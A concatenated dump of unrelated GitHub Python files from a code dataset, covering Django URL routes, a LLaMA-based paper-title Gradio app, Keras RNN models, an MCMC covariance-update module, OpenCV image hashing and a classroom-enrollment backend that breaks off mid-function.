os.getcwd()+'/20180418_505_CE40.csv'\nfpcdl = os.getcwd()+'/20180419 505 pos CE40_PCDL.csv'\nt0=time.clock()\ncompare_mgf_df(file,fpcdl,10,0.02,POSMODE=True)\nt1=time.clock()\nprint (\"time to Process is \" + str(t1-t0))\n'''\n\n\n\n\n\n\n\n\n","repo_name":"NTA-Code/cfmid","sub_path":"Search code/mgf_parser_v24.py","file_name":"mgf_parser_v24.py","file_ext":"py","file_size_in_byte":16316,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"30402985982","text":"\"\"\"shopmelon URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import path\nimport product.views as views\n\n\nurlpatterns = [\n path('add-product/', views.add_product, name='add-product'),\n path('tags//', views.tags, name='tags'),\n path('delete-tags/', views.ajax_delete_tags, name='ajax-delete-tags'),\n\n path('update-product//', views.update_product, name='update-product'),\n path('delete-product//', views.delete_product, name='delete-product'),\n\n path('delete-variant/', views.ajax_delete_variant, name='delete-variant'),\n path('product-description//', views.product_description, name='product-description'),\n\n path('search/', views.search, name='search'),\n\n path('manage-products/', views.manage_products, name='manage-products'),\n path('manage-variants//', views.manage_variants, name='manage-variants'),\n path('manage-images//', views.manage_images, name='manage-images'),\n path('ajax-delete-image/', views.ajax_delete_image, name='ajax-delete-image'),\n\n path('ajax-get-subcategories/', views.ajax_get_subcategories, name='ajax-get-subcategories'),\n\n]\n","repo_name":"hardikkat24/shopmelon","sub_path":"product/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"44061608843","text":"def run(env, max_episodes=100, max_steps=100):\n\n\tfor epi in range(max_episodes):\n\t\tenv.reset()\n\t\tepi_reward = 0\n\t\tfor step in range(max_steps):\n\n\t\t\taction = env.action_space.sample()\n\t\t\tobs, reward, done, _ = env.step(action)\t\t\n\n\t\t\tepi_reward += reward\n\t\t\tif(done):\n\t\t\t\tprint('Done episode {:3d}, with total reward: {:2.2f}'.format(epi, epi_reward))\n\t\t\t\tbreak\n\n\n","repo_name":"GonVas/CarlaFinal","sub_path":"algos/random_agent.py","file_name":"random_agent.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"} +{"seq_id":"69978037841","text":"import os\nimport cv2\nimport torch\nimport numpy as np\nfrom os.path import join\nfrom collections import defaultdict\nfrom torch.utils.data import Dataset\n\n\nclass HandwritingDataset:\n def __init__(self, root=\"datasets\"):\n member = os.listdir(root)\n path = defaultdict(defaultdict)\n\n for m in member:\n for char in os.listdir(join(root, m)):\n ls = sorted(os.listdir(join(root, m, char)))\n pls = [x for i, x in enumerate(ls) if i % 9 == 0]\n path[m][char] = list(map(lambda x: join(root, m, char, x), pls))\n\n print(f\"Who are the members? {list(path.keys())}\\n\")\n\n for m in member:\n print(\n f\"Member {m:5s} contributed {sum([len(x) for x in path[m].values()])} characters including classes: {list(path[m])}\"\n )\n\n self.path = path\n self.id2cls = {}\n self.x = []\n self.y = []\n self.char = []\n for i, m in enumerate(path.keys()):\n self.id2cls[i] = m\n for char in path[m].keys():\n for c in path[m][char]:\n self.x.append(\n np.expand_dims(cv2.imread(c, 0), -1).transpose(2, 0, 1)\n )\n self.y.append(i)\n self.char.append(char)\n\n self.x = torch.from_numpy(np.array(self.x))\n self.y = torch.tensor(self.y)\n self.char = np.array(self.char)\n\n print(\n f\"\\nConstructed members' handwriting dataset for {len(path.keys())} members with total {len(self.char)} characters\"\n )\n\n def get(self, cls: int, character: str):\n \"\"\"cls: 0 (yeow), 1 (chua) ..., character: 0, 1, 2, 3 ...\n return: a list of index self.__getitem__\n \"\"\"\n cls_index = torch.where(self.y == cls)[0].numpy()\n char_index = np.where(self.char == character)[0]\n idx = cls_index[np.in1d(cls_index, char_index)]\n return idx\n\n def stratified_split(self, size=1.5):\n cls = self.get_cls()\n chars = self.get_chars()\n\n m = int(len(chars) * size)\n\n train = []\n test = []\n for i, (cls_idx, _cls) in enumerate(cls.items()):\n for j, char in enumerate(chars):\n train_index = self.get(cls_idx, char)[:m]\n test_index = self.get(cls_idx, char)[m:-1]\n train.extend(train_index)\n test.extend(test_index)\n\n print(f\"\\nTrain dataset with stratified split: {len(train)}\")\n print(f\"Test dataset with stratified split: {len(test)}\\n\")\n\n return (self.x[train], self.y[train]), (self.x[test], self.y[test])\n # return (self.char[train], (self.x[train], self.y[train])), (self.char[test], (self.x[test], self.y[test]))\n\n def get_chars(self):\n return np.unique(self.char).tolist()\n\n def get_cls(self):\n return self.id2cls\n\n def get_class_label(self, cls):\n return self.id2cls[cls.item()]\n\n def __len__(self):\n return len(self.y)\n\n def __getitem__(self, idx):\n return self.char[idx], (self.x[idx], self.y[idx])\n\n\nclass PrepForDataLoader(Dataset):\n def __init__(self, dataset, transforms=None):\n super().__init__()\n self.dataset = dataset\n\n def __len__(self):\n return len(self.dataset[0])\n\n def __getitem__(self, idx):\n x, y = self.dataset\n return x[idx].float(), y[idx]\n # char, (x, y) = self.dataset\n # return char[idx], (x[idx], y[idx])\n","repo_name":"chiew256/sc-group-assignment","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16652905722","text":"import os\nimport sys\n\nimport fire\nimport gradio as gr\nimport torch\nimport transformers\nfrom peft import PeftModel\nfrom transformers import GenerationConfig, LlamaForCausalLM, LlamaTokenizer\n\nfrom utils.prompter import Prompter\n\nif torch.cuda.is_available():\n device = \"cuda\"\nelse:\n device = \"cpu\"\n\ntry:\n if torch.backends.mps.is_available():\n device = \"mps\"\nexcept:\n pass\n\n\ndef main(\n load_8bit: bool = True,\n base_model: str = \"./llama-model\",\n lora_weights: str = \"./lora-model\",\n prompt_template: str = \"\", \n server_name: str = \"0.0.0.0\", \n share_gradio: bool = False,\n):\n base_model = base_model or os.environ.get(\"BASE_MODEL\", \"\")\n assert (\n base_model\n ), \"Please specify a --base_model, e.g. --base_model='decapoda-research/llama-7b-hf'\"\n\n prompter = Prompter(prompt_template)\n tokenizer = LlamaTokenizer.from_pretrained(base_model)\n if device == \"cuda\":\n model = LlamaForCausalLM.from_pretrained(\n base_model,\n load_in_8bit=load_8bit,\n torch_dtype=torch.float16,\n device_map=\"auto\",\n )\n model = PeftModel.from_pretrained(\n model,\n lora_weights,\n torch_dtype=torch.float16,\n )\n elif device == \"mps\":\n model = LlamaForCausalLM.from_pretrained(\n base_model,\n device_map={\"\": device},\n torch_dtype=torch.float16,\n )\n model = PeftModel.from_pretrained(\n model,\n lora_weights,\n device_map={\"\": device},\n torch_dtype=torch.float16,\n )\n else:\n model = LlamaForCausalLM.from_pretrained(\n base_model, device_map={\"\": device}, low_cpu_mem_usage=True\n )\n model = PeftModel.from_pretrained(\n model,\n lora_weights,\n device_map={\"\": device},\n )\n\n model.config.pad_token_id = tokenizer.pad_token_id = 0 # unk\n model.config.bos_token_id = 1\n model.config.eos_token_id = 2\n\n if not load_8bit:\n model.half() \n\n model.eval()\n if torch.__version__ >= \"2\" and sys.platform != \"win32\":\n model = torch.compile(model)\n\n def evaluate(\n instruction,\n input=None,\n temperature=0.1,\n top_p=0.75,\n top_k=40,\n num_beams=4,\n max_new_tokens=128,\n **kwargs,\n ):\n prompt = prompter.generate_prompt(instruction, input)\n inputs = tokenizer(prompt, return_tensors=\"pt\")\n input_ids = inputs[\"input_ids\"].to(device)\n generation_config = GenerationConfig(\n temperature=temperature,\n top_p=top_p,\n top_k=top_k,\n num_beams=num_beams,\n **kwargs,\n )\n with torch.no_grad():\n generation_output = model.generate(\n input_ids=input_ids,\n generation_config=generation_config,\n return_dict_in_generate=True,\n output_scores=True,\n max_new_tokens=max_new_tokens,\n )\n s = generation_output.sequences[0]\n output = tokenizer.decode(s)\n return prompter.get_response(output)\n\n gr.Interface(\n fn=evaluate,\n inputs=[\n gr.components.Textbox(\n lines=2,\n label=\"Instruction\",\n placeholder=\"Tell me about alpacas.\",\n value=\"If you are an expert in writing papers, please generate a good paper title for this paper based on other authors' descriptions of their abstracts.\",\n ),\n gr.components.Textbox(lines=2, label=\"Input\", placeholder=\"none\"),\n gr.components.Slider(\n minimum=0, maximum=1, value=0.1, label=\"Temperature\"\n ),\n gr.components.Slider(\n minimum=0, maximum=1, value=0.75, label=\"Top p\"\n ),\n gr.components.Slider(\n minimum=0, maximum=100, step=1, value=40, label=\"Top k\"\n ),\n gr.components.Slider(\n minimum=1, maximum=4, step=1, value=4, label=\"Beams\"\n ),\n gr.components.Slider(\n minimum=1, maximum=2000, step=1, value=128, label=\"Max tokens\"\n ),\n ],\n outputs=[\n gr.inputs.Textbox(\n lines=5,\n label=\"Output\",\n )\n ],\n title=\"🌲 ChatGenTitle\",\n description=\"使用百万arXiv论文信息在LLaMA模型上进行微调的论文题目生成模型, 查看项目请访问[https://github.com/WangRongsheng/ChatGenTitle](https://github.com/WangRongsheng/ChatGenTitle) \",\n ).launch(server_name=\"0.0.0.0\", share=share_gradio)\n\nif __name__ == \"__main__\":\n fire.Fire(main)\n","repo_name":"Zhaoty96/GhatGenTitle","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71034401682","text":"# Importing the libraries\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import mean_squared_error\n\nimport tensorflow as tf\n\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Input\n\nfrom tensorflow.keras.layers import Dense, LSTM, Dropout, GRU, Bidirectional, SimpleRNN\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.optimizers import SGD, Adam\nfrom tensorflow.random import set_seed\nimport random\n\nrng = np.random.default_rng(2042)\n\nclass Rnn():\n\n def __init__(self, n_hidden, n_layers, input_shape) -> None:\n\n self.model = Sequential()\n self.input_shape = input_shape\n self.n_hidden = n_hidden\n self.n_layers = n_layers\n self.sequence_length = input_shape[0]\n self.spacial_dim = input_shape[1]\n self.history = None\n\n\n \n def fit(self, X_train, y_train, epochs, history=False):\n # add warning that batch_size is default to None\n print(\"Warning: Batch size is default to None\")\n \n history = self.model.fit(X_train, y_train, epochs=epochs, validation_split=0.2, batch_size=None, verbose=1)\n \n if history:\n return history\n \n\n def predict(self, ic, n_steps=0):\n\n predicted_sequence = []\n current_step = ic[0].reshape(-1, self.sequence_length, self.spacial_dim) # Initialize the current 2 step with the input data\n print(current_step.shape)\n if not n_steps:\n n_steps = len(ic)\n for _ in range(n_steps):\n predicted_step = self.model.predict(current_step)\n predicted_sequence.append(predicted_step)\n # Update the current step by shifting the window\n current_step = np.concatenate([current_step[:, 1:, :], predicted_step.reshape(1,1, self.spacial_dim)], axis=1)\n\n predicted_sequence = np.array(predicted_sequence)\n\n return predicted_sequence\n\n def summary(self):\n return self.model.summary()\n \n def my_save(self, model_name):\n self.model.save(model_name)\n \n def my_load(self, model_name):\n self.model = keras.models.load_model(model_name)\n self.name = model_name\n self.input_shape = self.model.layers[0].input_shape\n self.sequence_length = self.input_shape[1]\n self.spacial_dim = self.input_shape[2]\n\nclass Simple_rnn(Rnn):\n\n \"\"\"\n here we implement the simple keras RNN\n \"\"\"\n def __init__(self, n_hidden, n_layers, input_shape):\n super().__init__(n_hidden, n_layers, input_shape)\n self.name = f\"RNN with {self.n_layers} layers and {self.n_hidden} hidden nodes \\n Input shape: {self.input_shape}\"\n\n\n def __repr__(self) -> str:\n return self.name\n\n def build(self, optimizer, loss, dropout = 0):\n\n for _ in range(self.n_layers):\n self.model.add(SimpleRNN(self.n_hidden, input_shape=self.input_shape))\n \n self.model.add(Dense(self.input_shape[1])) # output layer, input_shape[1] = spacial_dim\n self.model.compile(optimizer=optimizer, loss=loss)\n\n\nclass Lstm(Rnn):\n \"\"\"\n here we implement the simple keras LSTM\n \"\"\"\n \n def __init__(self, n_hidden=0, n_layers=0, input_shape=(0,0)):\n super().__init__(n_hidden, n_layers, input_shape)\n self.name = f\"lorenz-lstm-{self.n_layers}-layers-{self.n_hidden}nodes-input_shape{self.input_shape}\"\n\n\n def my_save(self, model_name):\n self.model.save(model_name)\n \n\n def __repr__(self) -> str:\n return self.name\n\n\n def build(self, optimizer, loss, dropout = 0):\n \n for _ in range(self.n_layers):\n self.model.add(LSTM(self.n_hidden, input_shape=self.input_shape))\n #self.model.add(Dropout(dropout))\n\n self.model.add(Dense(self.input_shape[1])) # output layer, input_shape[1] = spacial_dim\n self.model.compile(optimizer=optimizer, loss=loss)\n ","repo_name":"Daniel-Haas-B/AdvancedMachineLearning","sub_path":"src/RNN.py","file_name":"RNN.py","file_ext":"py","file_size_in_byte":4039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41888484365","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import classification_report,accuracy_score\nfrom sklearn.multioutput import MultiOutputClassifier\nfrom sklearn.model_selection import LeaveOneOut\n\ndef svm_classifier_leaveoneout(x, y):\n print(\"\\n\\n******************************** SVM CLASSIFIER (Leave One Out) *********************************\\n\")\n svm = SVC()\n clf = MultiOutputClassifier(svm, n_jobs=3)\n loo = LeaveOneOut()\n train_scores = []\n test_scores = []\n for train_index, test_index in loo.split(x):\n x_train, x_test = x[train_index], x[test_index]\n y_train, y_test = y[train_index], y[test_index]\n clf.fit(x_train, y_train)\n y_train_pred = clf.predict(x_train)\n train_scores.append(accuracy_score(y_train, y_train_pred))\n y_test_pred = clf.predict(x_test)\n test_scores.append(accuracy_score(y_test, y_test_pred))\n \n print(\"Training Accuracy: \"+ str(np.mean(train_scores)*100))\n print(\"Testing Accuracy: \"+ str(np.mean(test_scores)*100) +\"\\n\")\n","repo_name":"Mohan0006/Emotion_Detection-_EEG","sub_path":"models/svm_classifier_leaveoneout.py","file_name":"svm_classifier_leaveoneout.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34309920301","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os,sys\nimport numpy as np\nfrom scipy.interpolate import interp1d\nimport random\n\n\nfrom hiraxmcmc.util.basicfunctions import *\nfrom hiraxmcmc.util.loadpreviousresults import LoadOlderResults\n\n\n\n# =============================================================================\n# Thetacov update function\n# =============================================================================\n\n\nlarr = np.arange(0,1,0.01)\n\n# accRate_vs_TRF_default = np.array([[0. , 0.5 ],\n# [0.05 , 0.45 ],\n# [0.08 , 0.4 ],\n# [0.1 , 0.35 ],\n# [0.15 , 0.30 ], \n# [0.2 , 0.28 ],\n# [0.3 , 0.25 ], \n# [0.5 , 0.20 ],\n# [0.6 , 0.15 ],\n# [0.7 , 0.10 ],\n# [0.8 , 0.09 ],\n# [0.9 , 0.085 ],\n# [1. , 0.08 ]])\n\n\n# accRate_vs_TRF_default = np.array([[0. , 0.010 ],\n# [0.05 , 0.025 ],\n# [0.08 , 0.060 ],\n# [0.1 , 0.090 ],\n# [0.15 , 0.120 ],\n# [0.2 , 0.250 ],\n# [0.3 , 0.500 ], \n# [0.5 , 0.700 ],\n# [0.6 , 1.000 ],\n# [0.7 , 2.000 ],\n# [0.8 , 2.500 ],\n# [0.9 , 4.800 ],\n# [1. , 5.000 ]])\n\n# accRate_vs_TRF_default = np.array([larr, 1/500+1/500*np.exp(7.2*larr)]).T\n\n\naccRate_vs_TRF_default = np.array([[0. , 0.2 ],\n [0.1 , 0.35 ],\n [0.2 , 0.4 ],\n [0.3 , 0.5 ],\n [0.4 , 0.9 ],\n [0.5 , 1.5 ],\n [0.6 , 2.0 ],\n [0.7 , 2.5 ],\n [0.8 , 5.0 ],\n [0.9 , 10.0 ],\n [1. , 20.0 ]])\n\n\nclass ThetaCovUpdate:\n \n def __init__(self, INPUT, comm, rankmpi, sizempi, \n currentparams, chaininstance, mcmc_mainrun_dir_relpath, # inputforhiraxoutput\n accRate_vs_TRF = accRate_vs_TRF_default, testfilekw = ''):\n \n \n self.do_update_thetacov = INPUT['mcmc']['do_update_thetacov']\n self.thetacovold_until = INPUT['mcmc']['thetacovold_until']\n self.TRFold_until = INPUT['mcmc']['TRFold_until']\n self.dothetacovupdateafterevery = INPUT['mcmc']['dothetacovupdateafterevery']\n \n self.ordered_params_list = list(INPUT['PARAMS'].keys())\n self.params_to_vary = params_to_vary_list_from_input(INPUT['params_to_vary'], self.ordered_params_list)\n self.priors = {}\n for pp in self.params_to_vary:\n self.priors[pp] = INPUT['PARAMS'][pp]['prior']\n \n \n # self.inputforhiraxoutput = inputforhiraxoutput\n \n self.comm = comm\n self.rankmpi = rankmpi\n self.sizempi = sizempi\n \n \n \n self.totalParams = len(self.params_to_vary)\n # self.totalParams_inclChi2 = int(totalParams+1)\n \n \n self.currentrunindex = INPUT['current_run_index']\n self.mcmc_mainrun_dir_relpath = mcmc_mainrun_dir_relpath\n \n self.accRate_vs_TRF = accRate_vs_TRF\n self.testfilekw = testfilekw\n \n self.uname = os.uname()[1]\n \n self.parameterssavetxt = '_'+'_'.join(self.params_to_vary)\n \n # if 'MacbookPro' not in self.uname:\n # self.changedirname = '../'\n # else:\n # self.changedirname = '../mcmc_cc_xd/'\n \n \n load_older_results = LoadOlderResults(self.currentrunindex, self.params_to_vary, currentparams, self.ordered_params_list, self.priors, rankmpi, mcmc_mainrun_dir_relpath) #inputforhiraxoutput\n load_older_results.check_parameterssavetxt_prev()\n self.prev_combination_text = load_older_results.prev_combination_text\n \n \n if int(self.currentrunindex) != 1:\n self.last_suffix = find_last_suffix('_TRF%s'%(self.prev_combination_text), \n os.path.join(mcmc_mainrun_dir_relpath,'TRF%s/run%s'%(testfilekw,int(int(self.currentrunindex)-1))), \n filetype='TRF')\n else:\n self.last_suffix = None\n \n \n # if self.last_suffix != None:\n # self.addsuffix = '_' + '%02d'%(int(self.last_suffix.split('_')[1])+1)\n # else:\n # self.addsuffix = '_00'\n self.addsuffix = chaininstance.addsuffix\n\n \n \n \n \n if int(self.currentrunindex) == 1:\n self.thetacov_reductionfactor_initial = 20\n else:\n self.thetacov_reductionfactor_initial = np.load(os.path.join(mcmc_mainrun_dir_relpath, 'TRF%s/run%s/rank%s_TRF%s%s.npy'\n %(self.testfilekw,\n int(int(self.currentrunindex)-1), \n self.rankmpi,\n self.prev_combination_text, \n self.last_suffix))).item()\n \n \n# check this before next run\n if int(self.currentrunindex) > 2:\n self.acceptance_rate = np.load(os.path.join(mcmc_mainrun_dir_relpath, 'AR%s/run%s/rank%s_AR%s%s.npy'\n %(self.testfilekw, \n int(int(self.currentrunindex)-1), \n self.rankmpi, \n self.prev_combination_text, \n self.last_suffix))).item()\n else:\n self.acceptance_rate = interp1d(accRate_vs_TRF_default[:,1],accRate_vs_TRF_default[:,0])(1).item()\n \n \n if self.do_update_thetacov in ['yes','true','1']:\n self.thetacovUpdate = self.thetacovYesUpdate\n elif self.do_update_thetacov in ['no','false','0']:\n self.thetacovUpdate = self.thetacovNoUpdate\n \n def covfuninput(onlyParamsAccepted_together_input, \n lasthowmany_for_cov=None, \n startingfrom_for_cov=None):\n if lasthowmany_for_cov == None and startingfrom_for_cov == None:\n lasthowmany_for_cov = onlyParamsAccepted_together_input.shape[-1]\n \n \n if startingfrom_for_cov != None:\n lasthowmany_for_cov = int(onlyParamsAccepted_together_input.shape[-1] - startingfrom_for_cov)\n covfuninputarr = np.zeros((onlyParamsAccepted_together_input.shape[1], \n int(onlyParamsAccepted_together_input.shape[0]*lasthowmany_for_cov)))\n for i in np.arange(np.shape(onlyParamsAccepted_together_input)[1]):\n covfuninputarr[i] = onlyParamsAccepted_together_input[:,i,startingfrom_for_cov:].flatten()\n return covfuninputarr\n else:\n covfuninputarr = np.zeros((onlyParamsAccepted_together_input.shape[1], \n int(onlyParamsAccepted_together_input.shape[0]*lasthowmany_for_cov)))\n for i in np.arange(np.shape(onlyParamsAccepted_together_input)[1]):\n covfuninputarr[i] = onlyParamsAccepted_together_input[:,i,-lasthowmany_for_cov:].flatten()\n return covfuninputarr\n \n self.covfuninput = covfuninput\n \n def AR_TRF(currentstep_ii, \n acceptance_rate, previous_accept_rate, \n thetacov_reductionfactor_old):\n tck = interp1d(self.accRate_vs_TRF[:,0],self.accRate_vs_TRF[:,1])\n \n ar = random.choices([acceptance_rate, np.random.uniform(acceptance_rate,previous_accept_rate)], weights=[0.5,0.5])[0]\n \n new_TRF = tck(np.array([ar]))\n \n # if int(self.currentrunindex) < 10:\n # if new_TRF >= thetacov_reductionfactor:\n # return new_TRF\n # else:\n # return thetacov_reductionfactor\n if int(self.currentrunindex) == 1 and currentstep_iiavg:\r\n hash_str=hash_str+'1'\r\n else:\r\n hash_str=hash_str+'0' \r\n return hash_str\r\n\r\n#差���感知算法\r\ndef dHash(img):\r\n #缩放8*8\r\n img=cv2.resize(img,(9,8),interpolation=cv2.INTER_CUBIC)\r\n #转换灰度图\r\n gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n hash_str=''\r\n #每行前一个像素大于后一个像素为1，相反为0，生成哈希\r\n for i in range(8):\r\n for j in range(8):\r\n if gray[i,j]>gray[i,j+1]:\r\n hash_str=hash_str+'1'\r\n else:\r\n hash_str=hash_str+'0'\r\n return hash_str\r\n\r\n#Hash值对比\r\ndef cmpHash(hash1,hash2):\r\n n=0\r\n #hash长度不同则返回-1代表传参出错\r\n if len(hash1)!=len(hash2):\r\n return -1\r\n #遍历判断\r\n for i in range(len(hash1)):\r\n #不相等则n计数+1，n最终为相似度\r\n if hash1[i]!=hash2[i]:\r\n n=n+1\r\n return n\r\n\r\nimg1=cv2.imread(\"D:\\\\python\\\\test0.jpg\")\r\nimg2=cv2.imread(\"D:\\\\python\\\\test1.jpg\")\r\nhash1= aHash(img1)\r\nhash2= aHash(img2)\r\nprint(hash1)\r\nprint(hash2)\r\nn=cmpHash(hash1,hash2)\r\nprint('均值哈希算法相似度：',n)\r\n\r\n\r\nhash1= dHash(img1)\r\nhash2= dHash(img2)\r\nprint(hash1)\r\nprint(hash2)\r\nn=cmpHash(hash1,hash2)\r\nprint('差值哈希算法相似度：',n)","repo_name":"YZXXCharles/my_object_detect_tool","sub_path":"cvHash.py","file_name":"cvHash.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"zh","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"23012028063","text":"from storage import controllers as storage_controllers\nfrom classrooms import helpers as classroom_helpers\nfrom classrooms import models as classroom_model\nfrom classrooms import mongo as classroom_mongo\nfrom user import models as user_model\n\nfrom forum import controllers as forum_controllers\nfrom attendance import controllers as attendance_controllers\nfrom lectures import controllers as lecture_controllers\nfrom user import controllers as user_controllers\n\n\nasync def check_user_if_creator(classroom_id, user_id):\n classroom_obj = await classroom_model.get_classroom_by_uid(uid = classroom_id)\n if classroom_obj:\n if user_id == classroom_obj.creator_uid:\n return True\n return False\n\n\nasync def if_user_enrolled(classroom_uid, user_id):\n classroom_enrolled_resp = await classroom_mongo.check_enrolled_in_classroom(classroom_uid, user_id)\n user_enrolled_resp = await classroom_mongo.check_enrolled_in_user_enrolled(classroom_uid, user_id)\n\n # print('classroom_enrolled_resp: ', classroom_enrolled_resp)\n # print('user_enrolled_resp: ', user_enrolled_resp)\n\n if classroom_enrolled_resp == True and user_enrolled_resp == True:\n return True\n \n return False\n\n\nasync def get_user_classrooms(user_uid):\n classrooms = await classroom_model.get_classrooms_by_user(user_uid)\n results = []\n for classroom in classrooms:\n teacher = await user_model.get_user_by_uid(classroom.creator_uid)\n results.append(\n {\n \"name\": classroom.name,\n \"uid\": classroom.uid,\n \"teacher\": {\n \"username\": teacher.username,\n \"name\": f\"{teacher.first_name} {teacher.last_name}\"\n },\n \"public_storage_link\": classroom.public_storage_link\n }\n )\n return results\n\n\nasync def get_user_enrolled(user_uid):\n #print(user_uid)\n classrooms = await classroom_mongo.get_user_enrolled(user_uid)\n print(classrooms)\n results = []\n for uid in classrooms:\n C = await classroom_model.get_classroom_by_uid(uid)\n teacher = await user_model.get_user_by_uid(C.creator_uid)\n results.append({\n \"uid\": uid,\n \"name\": C.name,\n \"teacher\": {\n \"username\": teacher.username,\n \"name\": f\"{teacher.first_name} {teacher.last_name}\"\n },\n \"public_storage_link\": C.public_storage_link\n })\n return results\n\n\nasync def get_classroom_enrolled(classroom_uid):\n enrolled = await classroom_mongo.get_classroom_enrolled(classroom_uid)\n return enrolled\n\n\nasync def create_class(token, class_name):\n # GET USER FROM TOKEN, PASS user id while creating class\n \n # check if classroom with same name exists\n classrooms = await classroom_model.get_classrooms_by_user(token.user_id)\n for c in classrooms:\n # print(c.name)\n if c.name == class_name:\n return \"exists\", {\n \"name\": c.name,\n \"uid\": c.uid,\n \"public_storage_link\": c.public_storage_link\n }\n\n uid = await classroom_helpers.generate_uid()\n res, c = await classroom_model.create_classroom(token.user_id, class_name, uid)\n if c:\n c = {\n \"name\": c.name,\n \"uid\": c.uid\n }\n \n \n ### create dropbox classroom\n if await storage_controllers.create_classroom_folder(c[\"uid\"]):\n ### generate link\n link = await storage_controllers.get_classroom_folder_link(c[\"uid\"])\n if link:\n ### update postgres\n await classroom_model.update_public_storage_link(c[\"uid\"], link)\n c[\"public_storage_link\"] = link\n return res, c\n\n\nasync def get_classroom_details(user_id, uid):\n ### check user role (teacher, student, owner, etc)\n ### accordingly retrieve data\n classroom = await classroom_model.get_classroom_by_uid(uid)\n if classroom:\n cls = {\n \"name\": classroom.name,\n \"uid\": classroom.uid,\n \"entry_code\": classroom.entry_code,\n \"public_storage_link\": classroom.public_storage_link\n }\n return cls\n return False\n\n\nasync def delete_classroom(token, classroom_name):\n pass\n\n\nasync def generate_classroom_entry_code(user_uid, classroom_uid):\n #print(user_uid, classroom_uid)\n ### get classroom, check if user authorized\n classroom = await classroom_model.get_classroom_by_uid(classroom_uid)\n \n if classroom.creator_uid == user_uid:\n ### generate code, store it\n code = await classroom_helpers.generate_entry_code()\n classroom = await classroom_model.generate_entry_code(classroom, code)\n ''' \n Add Code to Mongo entry\n\n '''\n #mongo_resp = mongo.classroom_add_entry_code(classroom_uid = classroom_uid, code = code)\n #if mongo_resp:\n if classroom:\n classroom = {\n \"name\": classroom.name,\n \"uid\": classroom.uid,\n \"entry_code\": classroom.entry_code,\n \"classroom_owner_id\": user_uid\n }\n return classroom\n\n return False\n\n\nasync def enroll_user(user_uid, token, entry_code):\n '''\n 1. Get user_id from token model\n 2. pass to mongo.course.enroll\n '''\n\n ### check code for validity\n classroom = await classroom_model.get_classroom_by_entry_code(entry_code)\n if not classroom:\n return \"code_error\"\n \n ### check if user already enrolled\n x = await classroom_mongo.get_classroom_enrolled(classroom.uid)\n for user in x:\n if user[\"username\"] == token.username:\n return \"exists\"\n else:\n ### enroll user\n try:\n ### Updating user's enrolled array in mongo\n await classroom_mongo.enroll_user(user_uid, classroom.uid)\n ### Updating classroom enrolled array in mongo\n await classroom_mongo.enroll_classroom(user_uid, token.username, classroom.uid)\n return True\n ### undo stuff\n #\n #\n #\n except Exception as e:\n print(e)\n return False\n\nasync def getClassroomUid(entry_code):\n try:\n classroom_uid = await classroom_model.get_classroom_by_entry_code(entry_code)\n return {\n 'status': True,\n 'classroom_uid': classroom_uid.uid,\n 'classroom_name': classroom_uid.name,\n }\n except Exception as e:\n print(e)\n return {'status': False}\n\n\nasync def delete_user_classrooms(uid):\n return await classroom_model.delete_user_classrooms(uid)\n\n\nasync def get_classroom_owner_from_class_uid(classroom_uid):\n try:\n classroom = await classroom_model.get_classroom_by_uid(uid=classroom_uid)\n return {\n 'status': True,\n 'classroom_uid': classroom.uid,\n 'classroom_name': classroom.name,\n 'classroom_owner_id': classroom.creator_uid\n }\n except Exception as e:\n print(e)\n return {'status': False}\n\n\nasync def unenroll_user(classroom_uid, user_id):\n try:\n unenroll_from_enrolled_db_status = await classroom_mongo.unenroll_from_classroom(classroom_uid = classroom_uid, user_id = user_id)\n print('Unenrolled from classroom mongo document deleted')\n unenroll_from_user_enrolled_status = await classroom_mongo.unenroll_from_user(classroom_uid = classroom_uid, user_id = user_id)\n\n if unenroll_from_user_enrolled_status == True and unenroll_from_enrolled_db_status == True:\n return True\n \n elif unenroll_from_user_enrolled_status == False and unenroll_from_enrolled_db_status == True:\n print('unenroll_from_user_enrolled_status == False and unenroll_from_enrolled_db_status == True')\n return False\n \n elif unenroll_from_user_enrolled_status == True and unenroll_from_enrolled_db_status == False:\n print('unenroll_from_user_enrolled_status == True and unenroll_from_enrolled_db_status == False')\n return False\n \n else:\n print('unenroll_from_user_enrolled_status == False and unenroll_from_enrolled_db_status == False')\n return False\n \n except Exception as e:\n print(e)\n return False\n\n\nasync def unenroll_classroom_students(classroom_uid):\n ### get all enrolled users\n enrolled = await classroom_mongo.get_classroom_enrolled(classroom_uid)\n for user in enrolled:\n await 